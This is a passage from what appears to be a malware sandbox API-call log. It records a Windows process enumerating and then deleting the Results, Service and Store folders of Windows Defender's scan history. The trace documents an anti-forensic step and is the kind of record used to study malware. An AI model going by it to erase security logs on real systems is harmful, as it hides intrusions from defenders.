ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.993] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.993] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0277.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0277.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.993] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0277.994] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", lpFilePart=0x0) returned 0x3f [0277.994] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.994] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.994] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.994] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0277.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0277.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e008) returned 1 [0277.994] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0277.995] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results", lpFilePart=0x0) returned 0x3f [0277.995] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x1bb7ddb0 | out: lpFindFileData=0x1bb7ddb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08140 [0277.995] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.995] FindNextFileW (in: hFindFile=0x1ae08140, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.995] FindClose (in: hFindFile=0x1ae08140 | out: hFindFile=0x1ae08140) returned 1 [0277.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dd78) returned 1 [0277.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dfb8) returned 1 [0277.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db08) returned 1 [0277.995] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e090 | out: lpFileInformation=0x1bb7e090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0277.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dab8) returned 1 [0277.996] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\results")) returned 1 [0277.996] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1 [0277.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0277.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", lpFilePart=0x0) returned 0x3f [0277.998] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0277.999] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.999] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0277.999] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0277.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0277.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0277.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0277.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0277.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", lpFilePart=0x0) returned 0x3f [0277.999] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0278.000] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.000] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.000] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0278.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0278.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0278.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e008) returned 1 [0278.000] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0278.000] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", nBufferLength=0x40, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service", lpFilePart=0x0) returned 0x3f [0278.001] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x1bb7ddb0 | out: lpFindFileData=0x1bb7ddb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0278.001] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.001] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.001] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0278.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dd78) returned 1 [0278.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dfb8) returned 1 [0278.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db08) returned 1 [0278.001] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e090 | out: lpFileInformation=0x1bb7e090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x769ce0c6, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x769ce0c6, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0278.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dab8) returned 1 [0278.001] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service")) returned 1 [0278.002] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1 [0278.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0278.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0278.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x3e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", lpFilePart=0x0) returned 0x3d [0278.002] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0278.003] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.003] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.003] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0278.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0278.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0278.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0278.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0278.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x3e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", lpFilePart=0x0) returned 0x3d [0278.003] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x1bb7dde0 | out: lpFindFileData=0x1bb7dde0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0278.004] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.004] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.004] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0278.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de08) returned 1 [0278.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e028) returned 1 [0278.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e008) returned 1 [0278.004] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0278.004] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", nBufferLength=0x3e, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store", lpFilePart=0x0) returned 0x3d [0278.004] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x1bb7ddb0 | out: lpFindFileData=0x1bb7ddb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada7480 [0278.004] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0x1ada7480, lpFindFileData=0x1bb7de50 | out: lpFindFileData=0x1bb7de50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.005] FindClose (in: hFindFile=0x1ada7480 | out: hFindFile=0x1ada7480) returned 1 [0278.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dd78) returned 1 [0278.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dfb8) returned 1 [0278.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db08) returned 1 [0278.005] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\store"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e090 | out: lpFileInformation=0x1bb7e090*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0278.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dab8) returned 1 [0278.005] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\store")) returned 1 [0278.005] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0278.005] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0278.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0278.005] SetThreadErrorMode 